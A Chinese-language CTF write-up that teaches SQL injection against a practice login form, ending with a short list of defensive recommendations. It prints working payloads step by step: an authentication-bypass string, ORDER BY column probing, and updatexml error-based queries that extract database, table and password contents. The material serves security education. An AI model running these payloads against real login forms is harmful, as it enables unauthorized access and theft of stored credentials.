CTF登录框遇到的注入
字数 1592 2025-08-15 21:31:50
CTF登录框SQL注入实战教学:从入门到flag获取
1. 环境与目标分析
本教学基于一个CTF靶场中的登录框注入场景,目标是绕过登录验证并获取flag。登录框是常见的SQL注入测试点,特别是当开发者未对用户输入进行充分过滤时。
2. 初步测试
2.1 弱口令尝试
首先尝试常见弱口令组合:
- 用户名:
admin - 密码留空或尝试常见密码如
123456、password等
观察结果:系统返回"错误的用户名、密码"提示,表明用户名存在但密码错误。
2.2 万能密码测试
尝试SQL注入经典payload:
admin' or '1'='1' --
或变体:
admin' or 1=1 --
结果:成功登录,确认存在SQL注入漏洞。
3. 注入技术分析
3.1 判断注入类型
通过万能密码成功登录,确认是字符型注入(使用单引号闭合)。
3.2 字段数判断
使用ORDER BY子句判断查询返回的字段数:
admin' order by 1--
admin' order by 2--
admin' order by 3--
admin' order by 4--
发现:当order by 4时报错,确认查询返回3个字段。
3.3 Union联合查询尝试
尝试使用Union查询获取数据:
admin' union select 1,2,3--
问题:没有显示位(页面没有显示union查询结果的位置),无法直接利用union注入。
4. 报错注入技术
由于union注入不可行,转向报错注入技术,使用updatexml函数。
4.1 updatexml函数原理
updatexml是MySQL的XML处理函数,当XPath表达式错误时会产生报错信息,我们可以利用这个特性泄露数据。
基本语法:
updatexml(XML_document, XPath_string, new_value)
4.2 报错注入Payload构造
4.2.1 获取当前数据库名
admin' and updatexml(1,concat(0x7e,(select database()),0x7e),1)%23
0x7e是波浪号~的十六进制,作为分隔符使报错信息更清晰%23是#的URL编码,用于注释后续SQL语句
4.2.2 获取所有表名
admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='geek'),0x7e),1)%23
information_schema.tables:系统表,存储所有表信息group_concat():将多行结果合并为单个字符串
4.2.3 获取表数据
发现目标表为geek.l0ve1ysq1,获取其内容:
admin' and updatexml(1,concat(0x7e,substr((select group_concat(password) from geek.l0ve1ysq1),32,64),0x7e),1)%23
- 使用
substr()函数分段获取数据,因为报错信息有长度限制 - 从第32个字符开始,获取64个字符
4.2.4 定位flag
发现从224字符开始出现"flag"字样,调整payload:
admin' and updatexml(1,concat(0x7e,substr((select group_concat(password) from geek.l0ve1ysq1),250,64),0x7e),1)%23
从250位置开始截取,确保获取完整的flag。
5. 关键技术与技巧总结
-
信息收集:通过系统表
information_schema获取数据库结构tables表:存储所有表信息columns表:存储所有列信息
-
数据分段获取:
- 报错信息有长度限制(约32个字符)
- 使用
substr(string, start, length)分段获取 - 使用
group_concat()合并多行结果
-
特殊函数利用:
updatexml:通过故意构造错误XPath表达式引发报错concat:连接字符串,确保报错信息包含所需数据0x7e:作为可视分隔符,便于识别有效数据
-
注释技巧:
--(注意末尾空格)或#用于注释后续SQL语句- 在URL中需要使用
%23表示#
6. 防御建议
- 参数化查询:使用预处理语句而非字符串拼接
- 输入验证:对用户输入进行严格过滤
- 最小权限原则:数据库用户只应拥有必要权限
- 错误处理:自定义错误页面,避免泄露数据库信息
- WAF部署:Web应用防火墙可拦截常见注入攻击
7. 完整攻击流程总结
- 发现登录框,尝试弱口令
- 测试万能密码,确认SQL注入漏洞
- 判断注入类型和字段数
- Union注入失败,转向报错注入
- 使用updatexml获取数据库名、表名
- 分析表结构,定位目标表
- 分段获取表数据,定位flag
- 调整payload获取完整flag
通过这个案例,我们学习了如何在CTF环境中利用SQL注入漏洞,特别是当union注入不可用时如何灵活使用报错注入技术获取数据。